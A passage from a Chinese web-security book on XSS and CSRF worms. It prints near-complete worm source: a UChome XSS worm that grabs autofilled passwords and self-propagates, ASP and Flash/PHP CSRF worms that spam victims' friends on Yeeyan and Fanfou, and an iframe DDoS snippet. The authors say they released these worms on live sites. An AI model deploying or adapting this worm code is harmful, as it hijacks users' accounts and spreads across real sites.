返回介绍

9.1 Web 蠕虫思想

发布于 2024-01-20 15:41:03 字数 26438 浏览 0 评论 0 收藏 0

1. Web蠕虫的类别

Web蠕虫主要包括:XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫,这三类蠕虫都与具体的漏洞风险有关系,从名字上很好区分。为了更好地表述Web蠕虫思想,下面会顺带提及第四类:文本蠕虫。

2. Web蠕虫思想

Web蠕虫的思想很简单,就是用户参与,而Web 2.0网站正好具备这个条件,比如,以人人网、开心网为代表的SNS网站(其用户关系如图9-1所示),以新浪微博、腾讯微博为代表的微博网站,以新浪博客、百度空间为代表的博客网站等。Web2.0虽然定位不同,但都离不开用户参与,用户对内容的控制权非常大。Web蠕虫正是借了该东风之势。

图9-1 SNS用户关系

我们重点介绍的这些蠕虫除了利用的漏洞不一样,其本质是一样的,都是使参与进Web 2.0交互的用户受到了欺骗,导致被动或主动(或介于两者之间)地传播了威胁。从XSS蠕虫到CSRF蠕虫,再从Clickjacking蠕虫到文本蠕虫,越往后,社工的成分越大。比如文本蠕虫,相信很多人都遇到过这样的场景:收到一封E-mail,而且是好友转发来的,如一封祝福邮件,最后会提醒你转发10位好友,如果转发了会得到上天祝福,如果不转发,说明你不够朋友,有的甚至会诅咒不转发的人。大家可以看到,传播这样的内容是我们主动去操作完成的,这样的内容传播利用了大众的心理,在心理作用的驱使下去传播,我们称之为文本蠕虫。文本蠕虫传播流程就是这样,内容可以变得更加邪恶,也可以更加善良。可以看出,这是没有任何Web漏洞利用的,可以说是纯社工属性。

9.2.1 原理+一个故事

1. 蠕虫性质

注意,这里说的是蠕虫的性质,不仅仅局限于XSS蠕虫。蠕虫具有的最主要的两个性质如下。

· 传播性:在Web层面上就是基于HTTP请求进行传播,HTTP请求的相关技巧在2.5.3节有详细说明。

· 病毒行为:会进行一些恶意操作,在Web层面的浏览器客户端进行的逻辑操作主要就是JavaScript脚本,这些恶意操作也主要由JavaScript脚本发起各种恶意的HTTP请求。

2. XSS蠕虫的条件

XSS蠕虫的发生需要具备以下条件。

· 目标网站具备Web 2.0的关键特性:内容由用户驱动。

· 均存在XSS漏洞。

· 被感染的用户是登录状态,这样XSS的权限就是登录后的权限,能执行更多恶意的操作。

· XSS蠕虫传播利用的关键功能本身具备内容传播性,也就是说,如果一个功能本身生成的内容无法让其他用户看到,那么蠕虫传播就封闭住了,也就不是蠕虫了,这样的封闭功能有很多,比如管理员后台的消息功能。

那么XSS蠕虫的原理就是:目标Web 2.0网站(包括具有高交互性的邮箱服务)存在XSS漏洞,当被攻击用户查看存在XSS蠕虫代码的内容时,蠕虫触发并开始感染传播。

下面介绍一个故事来帮助我们理解XSS蠕虫发生的过程。

3. 一个故事

XSS蠕虫传播的故事是这样开始的:和所有邪恶的场景开始一样,这是一个月黑风高的夜晚,黑客开始观察这个本是太平宁静的Web 2.0世界,在里面,用户之间交流甚欢,比如,写写文章、留点评论、发个私信等。但是,宁静的世界被打破了。黑客很快发现文章日志中存在XSS漏洞,迅速编写了XSS蠕虫代码,并随着一篇具有高度诱惑性的文章一同发了出去。黑客的好友们被诱惑点击查看了这篇文章,XSS蠕虫开始执行各种恶意的HTTP请求,其中有一个就是传播自身的代码到被攻击用户的文章中(比如,自动发布了与这篇高度诱惑性文章一样的文章)。被感染用户的好友们发现这个用户居然发了这样一篇文章,由于之前的信任关系,好友们都点击进去查看,结果中招了。此时蠕虫开始大肆传播,感染人数以几何级数形式增长。

这个经典的模式就是2005年11月4号MyS-pace XSS蠕虫的模式,凌晨0:34开始,短短5小时后,感染了一百多万个用户,并在每个用户的个人签名档中添加了一段文字“but most of all, samy ismy hero”,如图9-2所示。该蠕虫可以说是XSS蠕虫的鼻祖。

图9-2 MySpace XSS蠕虫:samy is my hero

9.2.2 危害性

我们之所以一直很重视蠕虫攻击,是因为它们带来的危害可以很大,这不局限于XSS蠕虫,不过XSS蠕虫有自己的特性,而且往往也是攻击者最喜欢的一类,因为XSS蠕虫的权限大(一般情况下,Web用户有多大权限,它就有多大权限)。下面逐一介绍这些危害。

1. 对用户数据进行恶意操作

在第7章的跨站利用中,我们已经见识到了XSS的威力。一般情况下,Web用户的权限有多大,XSS的权限就有多大。为什么这里说一般情况?因为如果碰到某处功能模块需要验证码或者密码确认,对XSS来说,该处的功能模块就很难进行恶意操作。但是绝大多数的功能是不需要这些确认的,因为网站的首要任务其实都是考虑良好的用户体验。这里就存在一个矛盾:是好的用户体验,还是好的安全性?

XSS蠕虫传播开后,可以批量对用户数据进行恶意操作,比如,删除用户数据、修改用户数据、解除用户好友关系等。这对目标网站来说是一个巨大的打击,虽然可能可以通过数据恢复来回滚这些数据,但肯定会有数据的遗失,最重要的是,目标网站将面临巨大的信任危机。

2. 拒绝服务攻击

XSS蠕虫可以对目标网站服务进行大面积的拒绝服务攻击,导致用户无法正常使用网站功能,例如,下面的这些情况:

· 让用户自动注销网站会话,这样就无法正常使用网站需要身份认证的功能。

· 劫持或重置页面功能,导致无法正常使用,比如某些表单的提交地址总是错误的。

· 设置大Cookie值,导致请求时出现服务器解析错误。

· 弹出大量的窗口,干扰用户正常操作。

· 使用畸形的JavaScript代码片段使浏览器崩溃。

如果这些攻击发生,首先崩溃的会是用户,时间一久,用户就开始缺乏耐心,然后崩溃的就是Web厂商。

3. 分布式拒绝服务攻击

分布式拒绝服务攻击(DDoS)与拒绝服务攻击(DoS)不一样,分布式拒绝服务攻击的目标是其他网站,XSS蠕虫的每个被感染用户在地理位置上可能分布在全国各个位置,甚至世界各个位置。如果XSS蠕虫执行下列代码:

var ddosIframe = document.createElement("iframe");
ddosIframe.style.width = 0;
ddosIframe.style.height = 0;
ddosIframe.src = 'http://www.targetsite.com/';
document.body.appendChild(ddosIframe);

该代码自动创建一个iframe对象,并将地址指向被攻击的网站。如果被XSS蠕虫感染的用户同时发起了这个HTTP请求,被攻击网站就遭遇了DDoS,HTTP层面的DDoS算是最简单的一种。

我们在8.3.3节中还提到了利用HTML 5相关技术进行的DDoS攻击。

4. 散播广告

在流量大的网站做广告,其费用是非常高的,对XSS蠕虫来说,做这件事的价值也非常大,要嵌入广告很容易,一个iframe或者script就可以在页面的任意位置嵌入广告,甚至可以劫持页面现有广告的链接指向自己关心的广告页,这样当用户点击页面正常的广告时,实际上访问的是攻击者准备好的广告页。

其实恶意广告带来的威胁已经备受很多Web2.0网站的高度重视,因为这将直接影响到他们的利益。

5. 传播网页木马

网页木马简称网马。大概是在2010年之前,网马一直很猖獗,直到被一窝端了好几个大的挂马源头,抓了一批人,才开始逐渐消停下来。而XSS蠕虫在国内流行起来是在2008年。对于Web 2.0网站里以XSS蠕虫式传播的网马,当时一直是我们研究的热点,不过一直未看到实际的攻击发生。

一般情况下,网马是利用浏览器与浏览器插件漏洞(最臭名远昭的就是IE的ActiveX控件)进行本地攻击的,将网马内的二进制数据或脚本病毒植入操作系统本地执行,本来在Web层面上的威胁,通过这些漏洞蔓延到了操作系统层面。在操作系统层面上,病毒的权限至少就是操作系统用户账号的权限。这个领域涉及的知识已经超出本书的范围,不过我们还是会在必要的时候简单介绍一下。

如果网马攻击搭上XSS蠕虫这趟顺风车,那么带来的威胁肯定会非常大。对于XSS蠕虫来说,也仅仅是生成一个iframe或script对象而已。

我们曾分析过为什么如此显而易见的安全威胁没被利用或者重视起来,网马背后是一个成熟的技术链与利益链,XSS蠕虫对这条链来说还不够成熟,或者这条链上关键的一些技术人物没有这方面的积累,而现有的却足够满足他们的需求,比如,现在我们还能随时捕获到MS06014网马攻击,这是2006年的IE 6浏览器远程命令执行漏洞——一个非常漂亮的逻辑漏洞。

6. 传播舆情

如果利用XSS蠕虫进行舆情引导,无论是低俗、诋毁,还是政治阴谋等,都可以带来很大影响,恐怕这些都是Web 2.0网站不得不及时出手制止的。

舆情影响就像前面提到的“文本病毒”一样,它是在攻“心”。

下面介绍几个经典的案例。

9.2.3 SNS社区XSS蠕虫

我们以曾经的UChome XSS蠕虫为例进行说明,实际上很多原理性的知识在前面都提到过,这里直接看代码注释即可,当时的漏洞位置在主题编辑处(CSS自定义)。

worm = {
  'about': 'worm for uchome2',
  'date': '2010/8/7'
}
worm.so = {} // worm内部数据共享对象
worm.xhr = function(){
  /*AJAX对象*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } 
  else if(window.ActiveXObject) {
    try {
      request = new window.ActiveXObject('Microsoft.XMLHTTP');
    } 
    catch(e) {}
  }
  return request;
}();
worm.request = function(method,src,argv,content_type){
  worm.xhr.open(method,src,false);
  if(method=="POST")
    worm.xhr.setRequestHeader("Content-Type",content_ type);
  worm.xhr.send(argv);
  return worm.xhr.responseText;
}
worm.inject_iframe = function(src){
  /*注入隐藏框架*/
  var o = document.createElement("iframe");
  o.src = src;
  o.width = o.height = 0;
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}
worm.get_token = function(){
  /*获取token值,表单提交需要*/
  var token = document.getElementsByTagName("input")[5].value;
  // 这个值返回 token
}
worm.get_pwd = function(){
  /*获取明文密码*/
  var e = document.createElement("input");
  e.name=e.type=e.id="password";
  document.getElementsByTagName("head")[0].appendChild(e); // 往head添加即可隐藏
  setTimeout(function(){
    alert("i can see ur pwd: "+document.getElementById("password").value);},700); 
    // 时间竞争
}
worm.infect_theme = function() {
  /*更新自定义theme,传播worm payload*/
  var token = worm.so.token;
  var src="http://www.foo.com/uchome2/cp.php?ac=theme";
  var css="bODy%7Bx%3A..."; // 传播性的payload隐藏掉
  var csssubmit="%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9";
  var formhash=token;
  var argv_0="css="+css+"&csssubmit="+csssubmit+"&formhash="+formhash;
  worm.request("POST",src,argv_0,"application/x-www-form-urlencoded");
}
worm.infect_blog = function(subject,message){
  /*发一篇日志*/
  var token = worm.so.token;
  var src="http://www.foo.com/uchome2/cp.php?ac=blog&blogid=";
  //var subject="xss worm test";
  //var message="from xss worm:)";
  var tag="worm";
  var blogsubmit="true";
  var formhash=token;
  var argv_0;
  argv_0="\r\n";
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"subject\"\r\n\r\n";  argv_0+=(subject+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\n";  argv_0+=(message+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"tag\"\r\n\r\n";  argv_0+=(tag+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"blogsubmit\"\r\n\r\n";  argv_0+=(blogsubmit+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"formhash\"\r\n\r\n";  argv_0+=(formhash+"\r\n");
  argv_0+="---------------------7964f8dddeb95fc5--\r\n";
  worm.request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}
worm.infect_doing = function(message) {
  /*更新状态*/
  var token = worm.so.token;
  var src="http://www.foo.com/uchome2/cp.php?ac=doing&inajax=1";
  var argv_0="message="+message+"&addsubmit=true&spacenote=true&formhash="+token;
  worm.request("POST",src,argv_0,"application/x-www-form-urlencoded");
}
worm.control = function(){
  /*worm flow*/
  worm.so.token = worm.get_token();
  //alert(worm.so.token);
  worm.get_pwd();
  worm.infect_theme();
  worm.infect_blog("worm: "+new Date().getTime(),"<h3>from xss worm:)</h3><br /><br />"+new Date().getTime());
  worm.infect_doing("XSS\u8815\u866b\u6d4b\u8bd5- -!!");
  // 更新状态:XSS蠕虫测试- -!!
}
worm.start = function(){
  /*start worm from here:)*/
  document.cookie = "evilworm=i can see u:); expires=Wed, 24 Aug 2112 00:00:00 GMT"
  window.onload = function(){
    worm.control();
   }
}
worm.start();

9.2.4 简约且原生态的蠕虫

在某SNS网站发布文章时,文章内容是:

<script>alert('X')</script>

这明显被过滤了,得到的输出结果是:

<script defer>alert('X')</script>

可是当用户单击“分享”该文章时,触发了XSS,原因是:分享时,它会截取前50个字符来作为摘要输出,输出时并未过滤,这是一个典型的DOM XSS漏洞。

既然有字符长度限制(50个),那么我们就在文章内容中构造下列代码:

<script defer>eval($('#xxx').html())</script>(少于50个字符)

这段代码是借用此SNS网站的jQuery框架的一些方法,后面的蠕虫代码也都将借用这些方法(依环境而生,保持蠕虫的苗条)。其中的$('#xxx').html()表示获取id为xxx的DOM节点的html值。接下来的文章内容是:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxx<span 
id=xxx style=display:none>(function()
{alert(escape($('.article-maintext
'). html()));v="%3Cform
%20action=http://www.xxx.com/article/
index.php?m
=add&action=join%20method=post%3E%3Cinput
%20name=subject%20type=hidden%
20value=cool%3E%3Cinput%20name=contents
%20type=hidden%20value=%22"[color
=#FF0000]%2bescape($('.article-
maintext').html())%2b[/color]"%22%3E%3Cin
put%20name=status%20type=hidden%20value=4%3E
%3Cinput%20name=article_dir%
20type=hidden%20value=402683%3E%3C/form
%3E";v=unescape(v);$(v).appendTo(
"body");document.forms[2].submit();})()</
span>

这些内容存在于<span>标签内,它是不会过滤的,并且我们设置了display的值为none,让<span>内的值对用户不可见。这样就可以将所有的JavaScript以这种形式存放在这个SNS网站上,我们只要使用文章内容前面的<script de-fer>eval($('#xxx').html())</script>来读取出id为xxx的<span>标签里的值,并执行即可。

完成这些后,欺骗用户分享文章,即可传播这样一个简约而原生态的蠕虫。

9.2.5 蠕虫需要追求原生态

我们可以想象一下一个Web 2.0网站(比如:人人网、新浪微博),在同域下,它是一个独立的生态系统,决定这个生态系统的运作流程就是JavaScript。前端工程师们开发出了许多优秀的JavaScript框架,如jQuery、YUI等,还有许多是根据自己网站的业务需要诞生的框架。这些框架封装了太多优秀的函数,对XSS来说,直接调用就好,可以省去许多自定义代码的麻烦,而且可以大大减小XSS蠕虫的大小,这样的XSS蠕虫就是原生态的。

1. 代码的原生态

XSS蠕虫最常用的就是使用AJAX在后台悄悄地传输数据,发起各种邪恶的HTTP请求,如果目标Web 2.0网站使用jQuery框架,只需要如下简单的代码,就可以使用AJAX。

$.ajax({
  type:"post", // type默认为get请求
  async:false, // 默认为true,表示异步传输数据,否则为同步传输
  url:"/blog/add", // 提交地址
  data:{'title':'hi', 'content':'xss worm here:P'}, // 字典结构的data值
  success: function(data, text_status){
    alert(data); // 提交成功后做的事……
  },
});

就上述几行简单的代码就可以发起GET或POST的AJAX请求,而且使用原生态的框架还有一个好处,它帮我们处理了各种浏览器兼容的问题。我们还可以这样发起GET的AJAX请求:

$.get("/blog/del", {id:1}, function (data, textStatus){
  alert(data);
});

或者,这样发起POST的AJAX请求:

$.post("blog/add",{'title':'hi', 'content':'xss worm here:P'},
function (data, textStatus){
  alert(data);
});

是不是非常简洁?除了常用的AJAX操作,XSS蠕虫还会进行大量的DOM操作,也非常简单,从表9-1中可以看出。

表9-1 原生函数与DOM函数

有如此强大的原生态资源可利用,攻击起来就非常方便了。

2. 攻击效果的原生态

除了代码的原生态,还有攻击效果的原生态,比如,如果要实施高级钓鱼攻击,那些DIV框、UI组件都是可以直接调用一些高度封装的JavaScript函数来生成,比如图9-3所示的DIV弹出框。

图9-3 优美的UI组件

9.3.1 关于原理和危害性

CSRF蠕虫的原理和XSS蠕虫基本类似,只是这里用到的是CSRF,攻击代码存在于攻击者页面中,目标网站传播的内容都包含攻击者页面URL,这样才能诱惑目标网站上的被攻击者打开攻击者页面,然后触发CSRF,CSRF会继续跨域发布含攻击者页面URL的内容进行传播。

这个过程和XSS蠕虫不一样的是:XSS蠕虫的攻击代码本质上是存放在目标网站上的,即使是<script>从攻击者域上引用进来,对JavaScript上下文来说,也属于目标网站。

CSRF蠕虫的危害性大多与XSS蠕虫一样,如:获取用户隐私、对用户数据进行恶意操作、散播广告、传播网页木马、传播舆情等。

下面来看看历史上我们发起的两起CSRF蠕虫的真实攻击案例。

9.3.2 译言CSRF蠕虫

译言网(www.yeeyan.org)的定位是“发现翻译阅读中文之外的互联网精华”,是一个定位很专一的SNS网站,其用户参与度较高。

这是2008年发起的一次CSRF蠕虫攻击,这种传播模式当时大家并未知晓,算是一次非常新颖的探索过程,下面直接摘录了当时记录的文字,供大家参考。

我们用ASP服务端的Microsoft.XMLHTTP控件解决了可变ID的问题。只需要一个链接,类似于 http://www.evilsite.com/yeeyan.asp ,发送到你的译言账户的个人空间留言板,欺骗用户点击后,就可以很快传播(向被“感染”用户的每个好友的留言板上发送相同的信息,发送方是那些因为好奇而单击CSRF链接的人)。这完全不需要客户端脚本。

yeeyan.asp代码如下:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")
If instr(r,"http://www.yeeyan.com/space/
show") > 0 Then
Function regx(patrn, str)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function
Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode <&H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & 
Chr(CLng(ThisCharCode) * &H100 + 
CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End Function
id = Mid(r,34)
furl = "http://www.yeeyan.com/space/
friends/" + id
Set 
http=Server.CreateObject("Microsoft.XMLHTTP")
http.Open "GET",furl,False
http.Send
ftext = http.ResponseText
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
farray = Split(fstr , " | ")
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing
s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 
src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>"
Next
Response.write(s)
'  Set 
http=Server.CreateObject("Microsoft.XMLHTTP")
'  http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
'  http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
'  c = "hello"
'  cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
'  http.send cc
End If
%>

yeeyan_iframe.asp代码如下:

<%
  'author: Xlaile
  'date: 2008-09-21
  'this is the CSRF Worm of www.yeeyan.com
  id = Request("id")
  s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/'onsubmit='return false'>"
  s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>"
  s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"
  s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>"
  s = s+"</form>"
  s = s+"<script>document.forms[0].submit();</script>"
  Response.write(s)
%>

导致出现CSRF的原形(yeeyan.asp发生作用后的客户端源码),相关截图如图9-4所示。

;

图9-4 译言CSRF蠕虫浏览器客户端源码

上述攻击传播之后,目标达到了,我们很快就停止了传播。当时这个CSRF蠕虫受到了质疑,于是又写了下面的内容来描述具体的工作原理。

放出的代码都在这里,代码是我们花了一天的时间构思写出来的,具有攻击性的代码已经去掉。目前译言上的CSRF蠕虫已经被抹掉。这样的攻击代码可以做得非常隐蔽,顺便加上了Referer判断。而蠕虫代码就是靠得到的这个Referer值进行后续操作的。由于AJAX无法跨域获取操作第三方服务器上的资源,于是使用了服务端代理来完全跨域获取数据的操作(Microsoft.XMLHTTP控件的使用)。看下面这段代码的注释:

r = Request.ServerVariables("HTTP_REFERER")
'获取用户的来源地址,如:
http://www.yeeyan.com/space/show/hving
If instr(r,"http://www.yeeyan.com/space/show") > 0 Then 
'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址
......
id = Mid(r,34) '获取用户标识ID,如:hving
furl = "http://www.yeeyan.com/space/
friends/" + id '用户的好友列表链接是这样的
Set http=Server.CreateObject("Microsoft.XMLHTTP") 
'使用这个控件
http.Open "GET",furl,False '同步,GET请求furl链接
http.Send '发送请求
ftext = http.ResponseText '返回请求的结果,为
furl链接对应的HTML内容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
'正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值
farray = Split(fstr , " | ")
'下面几句就是对获取到的好友的ID值进行简单处理,然后扔进f(999)数组中
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing
s = s + "<iframe width=0 height=0 
src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" 
'接着循环遍历好友列表,使用iframe发起CSRF攻击
Next
Response.write(s)
......
End If
%>
s = ""
For i = 0 To ubound(farray) - 1

发起CSRF攻击的yeeyan_iframe.asp的代码如下,现在兼容FF浏览器了,表单提交兼容问题。

id = Request("id")
s = "<form method='post' 
action='http://www.yeeyan.com/groups/newTopic/'>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value='The delicious Tools for yeeyan translation:http://www.chyouth.gov.cn/yy.asp' name='data[Post][content]'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee'/>"
s = s+"<input type='text' style='display:none!important;display:block;width=0;height=0' value=" + id + " name='ymsgee_username'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

这就是这个译言CSRF蠕虫(或蠕虫雏形)的实现过程。根据这个原理,很多具有CSRF漏洞的网站都将受到这类威胁。

有一点要强调一下,蠕虫传播的前提是目标用户登录了目标网站,然后才能看到蠕虫消息并中招,之后的传播必定会带上目标用户的内存Cookie,所以这个过程不受限于IE下本地CookieP3P策略的声明(见2.5.4节)。

9.3.3 饭否CSRF蠕虫——邪恶的Flash游戏

饭否(www.fanfou.com)是国内第一个微博,当时新浪、腾讯等门户网站都还没意识到微博效应的时候,饭否微博已经盛行,可惜被和谐一次后元气大伤。

2008年12月正值饭否火热之际,我们编写了一只目前看来还是非常经典的CSRF蠕虫,这只蠕虫在凌晨1点传播出去,短短半小时就迅速传播开。由于一些原因,我们一直没公开这个事件的细节,不过现在已经没任何约束。

1. 核心点

CSRF蠕虫有以下两个核心点:

· 饭否CSRF蠕虫是利用Flash进行传播的,本质上是该Flash文件里的ActionScript脚本向饭否发起CSRF请求。

· CSRF请求有两种:一种是GET请求获取被攻击者相关的隐私数据,比如,好友关系等;第二种是POST请求提交数据,使得被攻击者自动发送一条微博消息并向自己的好友都发一条私信。当然,这些消息与私信都是用来传播蠕虫的。

2. 技术细节

1)发现CSRF漏洞

当时发现饭否处处是CSRF漏洞(其实那个时候国内的Web 2.0网站几乎都没对CSRF进行任何防御。),并且发现其网站根目录下的crossdo-main.xml配置如下:

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

其中,allow-access-from domain="*"这样的通配符配置是允许其他域的Flash发起跨域请求的,也就是可以利用Flash里的ActionScript脚本进行CSRF攻击。其实对于这类Web 2.0网站来说,一般情况下只要有普通的CSRF漏洞并且能够发互动性的消息,就可以进行CSRF蠕虫攻击,就像译言CSRF蠕虫那样。不过既然这里能利用Flash,而且我们都知道Flash能够呈现出非常酷炫的动画效果或者游戏,如果我们利用一款Flash游戏,并在里面嵌入恶意的ActionScript脚本,那么带来的攻击效果肯定会非常好。

因为当用户被吸引去玩这款游戏的同时,CSRF攻击已经悄悄发生,CSRF蠕虫已经悄悄传播,此时用户可能还沉浸在游戏中……

有了这些想法后,现在就开始实施,编写Flash游戏。

2)编写这款Flash游戏

我们在网络上找了一款开源的Flash游戏——连连看,并按照自己的风格对游戏进行样式上的修改,植入了我们的CSRF蠕虫代码,然后将Flash游戏放到当时xeyeteam的官网下(http://xeye.us/lab/enjoy_flash_game.php),游戏的界面如图9-5所示。

图9-5 包含饭否CSRF蠕虫的Flash游戏界面

嵌入的ActionScript代码如下:

import flash.net.URLRequest;
var loader:URLLoader = new URLLoader();
loader.addEventListener(Event.COMPLETE,loaded
);
function loaded(e:Event){
  var friends = loader.data.split(",");
  for each(var i in friends){
    send_m(i); // 遍历被攻击者的好友列表,对每个好友都发送私信
  }
  post_m(); // 自己发送一条微博消息
}
loader.load(new URLRequest("friends.txt"));
// 被攻击者的好友列表,这来自哪?后面会提到
function send_m(i){ // 发送私信的函数
  var url = new URLRequest("http://fanfou.com/privatemsg/sent");
  // 私信提交地址
  var _v = new URLVariables();
  _v = "sendto=" + i + "&content=终于编写了第一个flash游戏:连连看:),太不容易了- -...\n 欢迎测试:http://xeye.us/lab/enjoy_flash_game.php?hi=" + i + "&action=privatemsg.post"; 
  // 私信的表单内容
  url.method = "POST"; // POST方式提交
  url.data = _v;
  sendToURL(url); // 发送
}
function post_m(){ // 发送微博消息的函数
  var url = new URLRequest("http://fanfou.com/home"); // 微博消息提交地址
  var _v = new URLVariables();
  _v = "content=终于编写了第一个flash游戏:连连看:),太不容易了- -...\n欢迎测试:http://xeye.us/lab/enjoy_flash_game.php&action=msg.post";
  // 微博消息的表单内容
  url.method = "POST"; // POST方式提交
  url.data = _v;
  sendToURL(url); // 发送
}

这段ActionScript代码很简单,在第2章已介绍过其中可能涉及的相关知识点,接下来看看代码的攻击逻辑。

3)CSRF蠕虫传播开始

当用户被欺骗打开该Flash的URL地址时,ActionScript代码即触发,首先会加载该用户的好友列表文件(我们很快就会知道这个好友列表文件从何而来),然后遍历好友列表向每个好友发送一条私信,如图9-6所示。

图9-6 饭否CSRF蠕虫发送私信

每条私信中的URL地址都带上目标好友的ID号,目的是为了识别不同的被攻击者,然后获取到不同的被攻击者自己的好友列表。最后用户会自动发一条微博消息,如图9-7所示。

好了,现在CSRF攻击已经不成问题了,想要发送的数据都能发送成功,那么如何传播开呢?从前面的知识知道,这些Web蠕虫都是基于用户群的,需要大量的用户参与,借用户交互之势而传播,而用户之间却存在一种信任关系,一般情况下,如果是自己的好友给自己发消息,都会去看,因为彼此很信任,饭否的这个蠕虫传播正是利用了这个特性。

图9-7 饭否CSRF蠕虫发送消息

获取好友的列表的代码不在ActionScript脚本中(其实是可以的),而是在Flash所在的链接文件enjoy_flash_game.php中,是一段PHP代码,具体如下:

<?php
//2008-12-16
//fanfou.com csrf worm with flash:)
function get_friends($id){
  // 获取指定用户ID号的好友列表,并以逗号分隔生成到目标friend.txt文件中
  $friend_url = 'http://fanfou.com/friends/'.$id; // 好友页面
  $friend_page = file_get_contents($friend_url); // 获取好友页面内容
  preg_match_all("/<a href=\"\/([^<>\'\"]*?)\" title=\"/", $friend_page, $m); 
  //正则匹配出好友ID号列表
  $friends = implode(',', $m[1]); // 以逗号连接各个好友ID号
  $fp = fopen("friends.txt", "w+");
  // 将结果写到目标friend.txt中,friend.txt就是这样来的
  fwrite($fp, $friends);
  fclose($fp);
}
if($_GET["hi"]){ // hi参数获取指定用户的ID号
  get_friends($_GET["hi"]); // 调用get_friends函数
}
else{ 
  // 如果无hi参数,则通过referer值获取用户的ID号
  $r = $_SERVER['HTTP_REFERER'];
  $id = substr($r, 18, strlen($r) - 18);
  if($id == 'home'){
    echo 123;
  }
  else if(strpos($id, 'message') == 0){
    // 这个message页面的referer可以得到用户的ID号
    $id = substr($id, 8, strlen($id) - 8);
    get_friends($id); // 调用get_friends函数
  }
}
?>
<html  xml:lang="zh_cn" lang="zh_cn">
<head>
<meta http-equiv="Content-Type" 
content="text/html; charset=gb2312" />
<title>连连看 - xeye.us</title>
….
省略一些多余的代码,这下面是HTML,嵌入这个恶意的Flash文件:evil.swf。
…
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000">
  <param name="allowScriptAccess" value="sameDomain" />
  <param name="allowFullScreen" value="false" />
  <param name="movie" value="evil.swf" />
<embed src="evil.swf" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash"/>
</object>
</body>
</html>

从代码的注释就可以知道这个好友列表文件friends.txt的出处,能够获取到好友列表内容的关键是该内容页面不需要权限认证,直接通过服务端请求就能将目标用户的好友列表获取到。如果需要权限认证,则可以通过ActionScript这样的客户端脚本在浏览器客户端获取,因为这样会带上Cookie身份认证信息。而跨域获取数据确实是CSRF蠕虫传播时非常重要的一点。关于这点的详细分析,将在9.3.4节介绍。

到这里,有关饭否CSRF蠕虫技术的细节已经介绍得很清楚了。我们继续,前面说到被攻击者的好友们都会收到一封私信,如图9-8所示,其中一位好友(我们的测试用户)叫coxl4ile。

图9-8 饭否CSRF蠕虫,好友收到消息

当coxl4ile登录自己的饭否时,收到私信消息提醒,然后查看,发现私信是自己的好友发来的,而且居然是好友号称自己编写的Flash游戏,自然就会考虑去试玩。coxl4ile打开该链接:

http://xeye.us/lab/enjoy_flash_game.php?hi=coxl4ile

看到的就是图9-5所示的Flash游戏界面,此时CSRF攻击已经在Flash游戏内发生了。重复上面介绍的攻击过程,coxl4ile会自动向自己所有的好友发送私信,最后自己发一个微博消息,内容都一样,于是CSRF蠕虫就这样传播开了。

这是CSRF蠕虫的又一个经典案例,大家可以对比一下译言CSRF蠕虫。

9.3.4 CSRF蠕虫存在的可能性分析

2008年发起了两例CSRF蠕虫之后,我们就开始总结一些模式,其中就是探索CSRF蠕虫存在的可能性,于是有了下面这篇文章,比较具备参考价值。

